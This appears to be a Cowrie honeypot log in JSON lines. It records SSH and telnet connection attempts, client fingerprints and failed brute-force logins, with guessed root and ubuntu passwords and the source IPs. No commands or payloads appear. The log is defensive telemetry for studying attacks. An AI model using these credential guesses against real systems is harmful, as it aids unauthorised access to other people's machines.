{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:05:25.581993Z","src_ip":"125.21.53.232","session":"9a516c16388c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:05:26.414794Z","src_ip":"125.21.53.232","session":"9a516c16388c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:05:27.618021Z","src_ip":"125.21.53.232","session":"9a516c16388c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":40630,"dst_ip":"10.17.0.5","dst_port":22,"session":"0722612de9db","protocol":"ssh","message":"New connection: 103.15.222.183:40630 (10.17.0.5:22) [session: 0722612de9db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:05:31.166495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:05:31.171749Z","src_ip":"103.15.222.183","session":"0722612de9db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:05:31.418623Z","src_ip":"103.15.222.183","session":"0722612de9db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5482","message":"login attempt [root/5482] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:05:32.160804Z","src_ip":"103.15.222.183","session":"0722612de9db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:05:33.410541Z","src_ip":"103.15.222.183","session":"0722612de9db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.147","src_port":17802,"dst_ip":"10.17.0.5","dst_port":22,"session":"7eb520cc9682","protocol":"ssh","message":"New connection: 45.148.10.147:17802 (10.17.0.5:22) [session: 7eb520cc9682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:05:35.206035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:05:35.211060Z","src_ip":"45.148.10.147","session":"7eb520cc9682","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:05:35.296987Z","src_ip":"45.148.10.147","session":"7eb520cc9682","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:05:35.671447Z","src_ip":"45.148.10.147","session":"7eb520cc9682","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":37636,"dst_ip":"159.203.135.109","dst_port":23,"session":"3701e55da245","protocol":"telnet","message":"New connection: 69.4.83.194:37636 (159.203.135.109:23) [session: 3701e55da245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:05:35.979400Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":42850,"dst_ip":"159.203.135.109","dst_port":22,"session":"3eca33a98c3e","protocol":"ssh","message":"New connection: 103.149.28.157:42850 (159.203.135.109:22) [session: 3eca33a98c3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:05:40.396353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:05:40.402019Z","src_ip":"103.149.28.157","session":"3eca33a98c3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:05:40.656986Z","src_ip":"103.149.28.157","session":"3eca33a98c3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20061992","message":"login attempt [root/20061992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:05:41.418450Z","src_ip":"103.149.28.157","session":"3eca33a98c3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:05:42.674238Z","src_ip":"103.149.28.157","session":"3eca33a98c3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":35506,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1a00a828b90","protocol":"telnet","message":"New connection: 79.139.59.21:35506 (159.203.135.109:23) [session: c1a00a828b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:05:44.035371Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":52110,"dst_ip":"159.203.135.109","dst_port":22,"session":"9217fae00ab9","protocol":"ssh","message":"New connection: 103.148.100.146:52110 (159.203.135.109:22) [session: 9217fae00ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:09.080656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:09.085900Z","src_ip":"103.148.100.146","session":"9217fae00ab9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:09.373677Z","src_ip":"103.148.100.146","session":"9217fae00ab9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer@2022","message":"login attempt [root/qwer@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:10.495324Z","src_ip":"103.148.100.146","session":"9217fae00ab9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.21.53.232","src_port":58686,"dst_ip":"159.203.135.109","dst_port":22,"session":"99ca1009aab4","protocol":"ssh","message":"New connection: 125.21.53.232:58686 (159.203.135.109:22) [session: 99ca1009aab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:10.974366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:10.978877Z","src_ip":"125.21.53.232","session":"99ca1009aab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.11975336074829,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:11.099050Z","src_ip":"69.4.83.194","session":"3701e55da245","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:11.182170Z","src_ip":"125.21.53.232","session":"99ca1009aab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:11.770577Z","src_ip":"103.148.100.146","session":"9217fae00ab9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty12345","message":"login attempt [root/Qwerty12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:12.029674Z","src_ip":"125.21.53.232","session":"99ca1009aab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51034,"dst_ip":"159.203.135.109","dst_port":23,"session":"456010b39e2a","protocol":"telnet","message":"New connection: 69.4.83.194:51034 (159.203.135.109:23) [session: 456010b39e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:12.087693Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:13.276042Z","src_ip":"125.21.53.232","session":"99ca1009aab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.174.185","src_port":43520,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9f9982a422b","protocol":"ssh","message":"New connection: 167.172.174.185:43520 (159.203.135.109:22) [session: d9f9982a422b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:19.006024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:19.014455Z","src_ip":"167.172.174.185","session":"d9f9982a422b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:19.107061Z","src_ip":"167.172.174.185","session":"d9f9982a422b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A.123456","message":"login attempt [root/A.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:19.606684Z","src_ip":"167.172.174.185","session":"d9f9982a422b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.18333458900452,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:20.029040Z","src_ip":"178.128.93.180","session":"acdaaee21cdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:20.709967Z","src_ip":"167.172.174.185","session":"d9f9982a422b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":56712,"dst_ip":"159.203.135.109","dst_port":23,"session":"38686432b220","protocol":"telnet","message":"New connection: 69.4.83.194:56712 (159.203.135.109:23) [session: 38686432b220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:27.934004Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":47798,"dst_ip":"159.203.135.109","dst_port":22,"session":"74b9479cb175","protocol":"ssh","message":"New connection: 69.6.221.248:47798 (159.203.135.109:22) [session: 74b9479cb175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:30.729542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:30.734967Z","src_ip":"69.6.221.248","session":"74b9479cb175","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:30.849881Z","src_ip":"69.6.221.248","session":"74b9479cb175","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123#@!","message":"login attempt [root/Admin123#@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:31.336335Z","src_ip":"69.6.221.248","session":"74b9479cb175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:32.465772Z","src_ip":"69.6.221.248","session":"74b9479cb175","protocol":"ssh"}
